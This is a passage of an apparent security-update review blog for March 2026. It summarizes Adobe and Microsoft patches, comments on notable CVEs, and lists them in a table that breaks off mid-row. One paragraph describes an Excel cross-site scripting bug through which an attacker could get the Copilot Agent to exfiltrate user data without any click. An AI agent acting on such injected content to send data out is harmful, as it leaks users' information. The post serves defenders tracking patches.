href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
